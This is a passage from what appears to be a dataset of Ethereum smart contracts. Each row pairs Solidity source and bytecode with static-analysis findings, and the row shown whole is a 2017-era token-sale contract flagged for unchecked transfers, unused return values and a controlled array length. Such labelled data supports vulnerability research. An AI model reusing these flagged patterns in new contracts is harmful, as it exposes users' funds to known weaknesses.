0018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220f0daf7983aa51fa95f6d493ee1618c2b073bec0e121bb64d5dd336109171825a64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 1,992 |
0x9bddf5038d5d20edc97f19018d93e848188e9731 | pragma solidity ^0.4.18;
// File: contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts/InvestedProvider.sol
contract InvestedProvider is Ownable {
uint public invested;
}
// File: contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/token/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/token/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: contracts/token/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/token/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/MintableToken.sol
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
address public saleAgent;
modifier notLocked() {
require(msg.sender == owner || msg.sender == saleAgent || mintingFinished);
_;
}
function setSaleAgent(address newSaleAgnet) public {
require(msg.sender == saleAgent || msg.sender == owner);
saleAgent = newSaleAgnet;
}
function mint(address _to, uint256 _amount) public returns (bool) {
require((msg.sender == saleAgent || msg.sender == owner) && !mintingFinished);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public returns (bool) {
require((msg.sender == saleAgent || msg.sender == owner) && !mintingFinished);
mintingFinished = true;
MintFinished();
return true;
}
function transfer(address _to, uint256 _value) public notLocked returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address from, address to, uint256 value) public notLocked returns (bool) {
return super.transferFrom(from, to, value);
}
}
// File: contracts/PercentRateProvider.sol
contract PercentRateProvider is Ownable {
uint public percentRate = 100;
function setPercentRate(uint newPercentRate) public onlyOwner {
percentRate = newPercentRate;
}
}
// File: contracts/RetrieveTokensFeature.sol
contract RetrieveTokensFeature is Ownable {
function retrieveTokens(address to, address anotherToken) public onlyOwner {
ERC20 alienToken = ERC20(anotherToken);
alienToken.transfer(to, alienToken.balanceOf(this));
}
}
// File: contracts/WalletProvider.sol
contract WalletProvider is Ownable {
address public wallet;
function setWallet(address newWallet) public onlyOwner {
wallet = newWallet;
}
}
// File: contracts/CommonSale.sol
contract CommonSale is InvestedProvider, WalletProvider, PercentRateProvider, RetrieveTokensFeature {
using SafeMath for uint;
address public directMintAgent;
uint public price;
uint public start;
uint public minInvestedLimit;
MintableToken public token;
uint public hardcap;
modifier isUnderHardcap() {
require(invested < hardcap);
_;
}
function setHardcap(uint newHardcap) public onlyOwner {
hardcap = newHardcap;
}
modifier onlyDirectMintAgentOrOwner() {
require(directMintAgent == msg.sender || owner == msg.sender);
_;
}
modifier minInvestLimited(uint value) {
require(value >= minInvestedLimit);
_;
}
function setStart(uint newStart) public onlyOwner {
start = newStart;
}
function setMinInvestedLimit(uint newMinInvestedLimit) public onlyOwner {
minInvestedLimit = newMinInvestedLimit;
}
function setDirectMintAgent(address newDirectMintAgent) public onlyOwner {
directMintAgent = newDirectMintAgent;
}
function setPrice(uint newPrice) public onlyOwner {
price = newPrice;
}
function setToken(address newToken) public onlyOwner {
token = MintableToken(newToken);
}
function calculateTokens(uint _invested) internal returns(uint);
function mintTokensExternal(address to, uint tokens) public onlyDirectMintAgentOrOwner {
mintTokens(to, tokens);
}
function mintTokens(address to, uint tokens) internal {
token.mint(this, tokens);
token.transfer(to, tokens);
}
function endSaleDate() public view returns(uint);
function mintTokensByETHExternal(address to, uint _invested) public onlyDirectMintAgentOrOwner returns(uint) {
return mintTokensByETH(to, _invested);
}
function mintTokensByETH(address to, uint _invested) internal isUnderHardcap returns(uint) {
invested = invested.add(_invested);
uint tokens = calculateTokens(_invested);
mintTokens(to, tokens);
return tokens;
}
function fallback() internal minInvestLimited(msg.value) returns(uint) {
require(now >= start && now < endSaleDate());
wallet.transfer(msg.value);
return mintTokensByETH(msg.sender, msg.value);
}
function () public payable {
fallback();
}
}
// File: contracts/NextSaleAgentFeature.sol
contract NextSaleAgentFeature is Ownable {
address public nextSaleAgent;
function setNextSaleAgent(address newNextSaleAgent) public onlyOwner {
nextSaleAgent = newNextSaleAgent;
}
}
// File: contracts/ValueBonusFeature.sol
contract ValueBonusFeature is PercentRateProvider {
using SafeMath for uint;
bool public activeValueBonus = true;
struct ValueBonus {
uint from;
uint bonus;
}
ValueBonus[] public valueBonuses;
modifier checkPrevBonus(uint number, uint from, uint bonus) {
if(number > 0 && number < valueBonuses.length) {
ValueBonus storage valueBonus = valueBonuses[number - 1];
require(valueBonus.from < from && valueBonus.bonus < bonus);
}
_;
}
modifier checkNextBonus(uint number, uint from, uint bonus) {
if(number + 1 < valueBonuses.length) {
ValueBonus storage valueBonus = valueBonuses[number + 1];
require(valueBonus.from > from && valueBonus.bonus > bonus);
}
_;
}
function setActiveValueBonus(bool newActiveValueBonus) public onlyOwner {
activeValueBonus = newActiveValueBonus;
}
function addValueBonus(uint from, uint bonus) public onlyOwner checkPrevBonus(valueBonuses.length - 1, from, bonus) {
valueBonuses.push(ValueBonus(from, bonus));
}
function getValueBonusTokens(uint tokens, uint invested) public view returns(uint) {
uint valueBonus = getValueBonus(invested);
if(valueBonus == 0) {
return 0;
}
return tokens.mul(valueBonus).div(percentRate);
}
function getValueBonus(uint value) public view returns(uint) {
uint bonus = 0;
if(activeValueBonus) {
for(uint i = 0; i < valueBonuses.length; i++) {
if(value >= valueBonuses[i].from) {
bonus = valueBonuses[i].bonus;
} else {
return bonus;
}
}
}
return bonus;
}
function removeValueBonus(uint8 number) public onlyOwner {
require(number < valueBonuses.length);
delete valueBonuses[number];
for (uint i = number; i < valueBonuses.length - 1; i++) {
valueBonuses[i] = valueBonuses[i+1];
}
valueBonuses.length--;
}
function changeValueBonus(uint8 number, uint from, uint bonus) public onlyOwner checkPrevBonus(number, from, bonus) checkNextBonus(number, from, bonus) {
require(number < valueBonuses.length);
ValueBonus storage valueBonus = valueBonuses[number];
valueBonus.from = from;
valueBonus.bonus = bonus;
}
function insertValueBonus(uint8 numberAfter, uint from, uint bonus) public onlyOwner checkPrevBonus(numberAfter, from, bonus) checkNextBonus(numberAfter, from, bonus) {
require(numberAfter < valueBonuses.length);
valueBonuses.length++;
for (uint i = valueBonuses.length - 2; i > numberAfter; i--) {
valueBonuses[i + 1] = valueBonuses[i];
}
valueBonuses[numberAfter + 1] = ValueBonus(from, bonus);
}
function clearValueBonuses() public onlyOwner {
require(valueBonuses.length > 0);
for (uint i = 0; i < valueBonuses.length; i++) {
delete valueBonuses[i];
}
valueBonuses.length = 0;
}
}
// File: contracts/PreICO.sol
contract PreICO is ValueBonusFeature, NextSaleAgentFeature, CommonSale {
uint public period;
function calculateTokens(uint _invested) internal returns(uint) {
uint tokens = _invested.mul(price).div(1 ether);
uint valueBonusTokens = getValueBonusTokens(tokens, _invested);
return tokens.add(valueBonusTokens);
}
function setPeriod(uint newPeriod) public onlyOwner {
period = newPeriod;
}
function finish() public onlyOwner {
token.setSaleAgent(nextSaleAgent);
}
function endSaleDate() public view returns(uint) {
return start.add(period * 1 days);
}
function fallback() internal minInvestLimited(msg.value) returns(uint) {
require(now >= start && now < endSaleDate());
wallet.transfer(msg.value);
return mintTokensByETH(msg.sender, msg.value);
}
} | 0x6060604052600436106101d8576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630f3a9f65146101e3578063144fa6d714610206578063290331331461023f578063480b890d14610254578063521eb2731461027757806354717ea9146102cc5780636341ca0b1461030c5780636abc3fe414610364578063702b7bc3146103b9578063769ffb7d146103f15780638090114f1461042a5780638da5cb5b1461045357806391b7f5ed146104a85780639bf6eb60146104cb578063a035b1fe1461050d578063a34d927014610536578063af78facf14610559578063b071cbe614610597578063b8a4db81146105c0578063be9a6555146105ec578063c865cadb14610615578063ca1e5bb71461063a578063cafb220214610690578063cd7e3184146106b9578063cf51ee7a146106f0578063d4b03d3414610716578063d56b28891461074e578063d64196f814610763578063d7d880431461078c578063de38460b146107b5578063deaa59df1461080a578063e28fa27d14610843578063e4deb00714610866578063ef78d4fd1461089f578063f2fde38b146108c8578063f6a03ebf14610901578063f95bbc9c14610924578063fc0c546a14610951575b6101e06109a6565b50005b34156101ee57600080fd5b6102046004808035906020019091905050610a4f565b005b341561021157600080fd5b61023d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ab4565b005b341561024a57600080fd5b610252610b53565b005b341561025f57600080fd5b6102756004808035906020019091905050610c26565b005b341561028257600080fd5b61028a610c8b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102d757600080fd5b6102f66004808035906020019091908035906020019091905050610cb1565b6040518082815260200191505060405180910390f35b341561031757600080fd5b610362600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d02565b005b341561036f57600080fd5b610377610eeb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103c457600080fd5b6103ef600480803560ff16906020019091908035906020019091908035906020019091905050610f11565b005b34156103fc57600080fd5b610428600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061112f565b005b341561043557600080fd5b61043d6111ce565b6040518082815260200191505060405180910390f35b341561045e57600080fd5b6104666111d4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104b357600080fd5b6104c960048080359060200190919050506111f9565b005b34156104d657600080fd5b61050b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061125e565b005b341561051857600080fd5b61052061131f565b6040518082815260200191505060405180910390f35b341561054157600080fd5b6105576004808035906020019091905050611325565b005b341561056457600080fd5b61057a600480803590602001909190505061138a565b604051808381526020018281526020019250505060405180910390f35b34156105a257600080fd5b6105aa6113bd565b6040518082815260200191505060405180910390f35b34156105cb57600080fd5b6105ea60048080359060200190919080359060200190919050506113c3565b005b34156105f757600080fd5b6105ff6114e4565b6040518082815260200191505060405180910390f35b341561062057600080fd5b610638600480803515159060200190919050506114ea565b005b341561064557600080fd5b61067a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611562565b6040518082815260200191505060405180910390f35b341561069b57600080fd5b6106a3611629565b6040518082815260200191505060405180910390f35b34156106c457600080fd5b6106da600480803590602001909190505061162f565b6040518082815260200191505060405180910390f35b34156106fb57600080fd5b610714600480803560ff169060200190919050506116d0565b005b341561072157600080fd5b61074c600480803560ff16906020019091908035906020019091908035906020019091905050611808565b005b341561075957600080fd5b61076161197d565b005b341561076e57600080fd5b610776611acc565b6040518082815260200191505060405180910390f35b341561079757600080fd5b61079f611ad2565b6040518082815260200191505060405180910390f35b34156107c057600080fd5b6107c8611af5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561081557600080fd5b610841600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b1b565b005b341561084e57600080fd5b6108646004808035906020019091905050611bba565b005b341561087157600080fd5b61089d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611c1f565b005b34156108aa57600080fd5b6108b2611cbe565b6040518082815260200191505060405180910390f35b34156108d357600080fd5b6108ff600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611cc4565b005b341561090c57600080fd5b6109226004808035906020019091905050611e19565b005b341561092f57600080fd5b610937611e7e565b604051808215151515815260200191505060405180910390f35b341561095c57600080fd5b610964611e91565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600034600a5481101515156109ba57600080fd5b60095442101580156109d257506109cf611ad2565b42105b15156109dd57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501515610a3f57600080fd5b610a493334611eb7565b91505090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610aaa57600080fd5b80600d8190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b0f57600080fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bb057600080fd5b6000600580549050111515610bc457600080fd5b600090505b600580549050811015610c1357600581815481101515610be557fe5b9060005260206000209060020201600080820160009055600182016000905550508080600101915050610bc9565b6000600581610c2291906121ae565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c8157600080fd5b8060038190555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080610cbd8361162f565b90506000811415610cd15760009150610cfb565b610cf8600354610cea8387611f0690919063ffffffff16565b611f4190919063ffffffff16565b91505b5092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d5f57600080fd5b8190508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb848373ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610e2257600080fd5b6102c65a03f11515610e3357600080fd5b505050604051805190506000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610eca57600080fd5b6102c65a03f11515610edb57600080fd5b5050506040518051905050505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6e57600080fd5b8360ff16838360008084118015610f89575060058054905084105b15610fd257600560018503815481101515610fa057fe5b90600052602060002090600202019050828160000154108015610fc65750818160010154105b1515610fd157600080fd5b5b8760ff168787600060058054905060018501101561102e57600560018501815481101515610ffc57fe5b906000526020600020906002020190508281600001541180156110225750818160010154115b151561102d57600080fd5b5b6005805490508c60ff1610151561104457600080fd5b6005805480919060010161105891906121ae565b5060026005805490500398505b8b60ff168911156110d25760058981548110151561107f57fe5b9060005260206000209060020201600560018b0181548110151561109f57fe5b90600052602060002090600202016000820154816000015560018201548160010155905050888060019003995050611065565b60408051908101604052808c81526020018b815250600560018e0160ff168154811015156110fc57fe5b90600052602060002090600202016000820151816000015560208201518160010155905050505050505050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561118a57600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561125457600080fd5b8060088190555050565b3373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061130657503373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b151561131157600080fd5b61131b8282611f5c565b5050565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561138057600080fd5b80600a8190555050565b60058181548110151561139957fe5b90600052602060002090600202016000915090508060000154908060010154905082565b600c5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561141e57600080fd5b60016005805490500382826000808411801561143e575060058054905084105b156114875760056001850381548110151561145557fe5b9060005260206000209060020201905082816000015410801561147b5750818160010154105b151561148657600080fd5b5b6005805480600101828161149b91906121e0565b9160005260206000209060020201600060408051908101604052808a81526020018981525090919091506000820151816000015560208201518160010155505050505050505050565b60095481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561154557600080fd5b80600460006101000a81548160ff02191690831515021790555050565b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061160c57503373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b151561161757600080fd5b6116218383611eb7565b905092915050565b60015481565b6000806000809150600460009054906101000a900460ff16156116c557600090505b6005805490508110156116c45760058181548110151561166d57fe5b906000526020600020906002020160000154841015156116af5760058181548110151561169657fe5b90600052602060002090600202016001015491506116b7565b8192506116c9565b8080600101915050611651565b5b8192505b5050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561172d57600080fd5b6005805490508260ff1610151561174357600080fd5b60058260ff1681548110151561175557fe5b9060005260206000209060020201600080820160009055600182016000905550508160ff1690505b6001600580549050038110156117ee5760056001820181548110151561179f57fe5b90600052602060002090600202016005828154811015156117bc57fe5b90600052602060002090600202016000820154816000015560018201548160010155905050808060010191505061177d565b600580548091906001900361180391906121ae565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561186557600080fd5b8360ff16838360008084118015611880575060058054905084105b156118c95760056001850381548110151561189757fe5b906000526020600020906002020190508281600001541080156118bd5750818160010154105b15156118c857600080fd5b5b8760ff1687876000600580549050600185011015611925576005600185018154811015156118f357fe5b906000526020600020906002020190508281600001541180156119195750818160010154115b151561192457600080fd5b5b6005805490508c60ff1610151561193b57600080fd5b60058c60ff1681548110151561194d57fe5b906000526020600020906002020198508a8960000181905550898960010181905550505050505050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119d857600080fd5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314133a7c600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1515611ab657600080fd5b6102c65a03f11515611ac757600080fd5b505050565b600a5481565b6000611af062015180600d540260095461213290919063ffffffff16565b905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b7657600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c1557600080fd5b80600c8190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c7a57600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600d5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d1f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611d5b57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e7457600080fd5b8060098190555050565b600460009054906101000a900460ff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600c54600154101515611ecc57600080fd5b611ee18360015461213290919063ffffffff16565b600181905550611ef083612150565b9050611efc8482611f5c565b8091505092915050565b6000806000841415611f1b5760009150611f3a565b8284029050828482811515611f2c57fe5b04141515611f3657fe5b8091505b5092915050565b6000808284811515611f4f57fe5b0490508091505092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1930836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561202957600080fd5b6102c65a03f1151561203a57600080fd5b5050506040518051905050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561211257600080fd5b6102c65a03f1151561212357600080fd5b50505060405180519050505050565b600080828401905083811015151561214657fe5b8091505092915050565b6000806000612184670de0b6b3a764000061217660085487611f0690919063ffffffff16565b611f4190919063ffffffff16565b91506121908285610cb1565b90506121a5818361213290919063ffffffff16565b92505050919050565b8154818355818115116121db576002028160020283600052602060002091820191016121da9190612212565b5b505050565b81548183558181151161220d5760020281600202836000526020600020918201910161220c9190612212565b5b505050565b61223e91905b8082111561223a57600080820160009055600182016000905550600201612218565b5090565b905600a165627a7a723058207ff7796ceaa2357e39c118bd8c106d1192cfc9ff1647c4151b25f4c2f54c26620029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 1,993 |
0xbeb955a0af41c6553221daec9c9beb9b7ec216d9 | pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
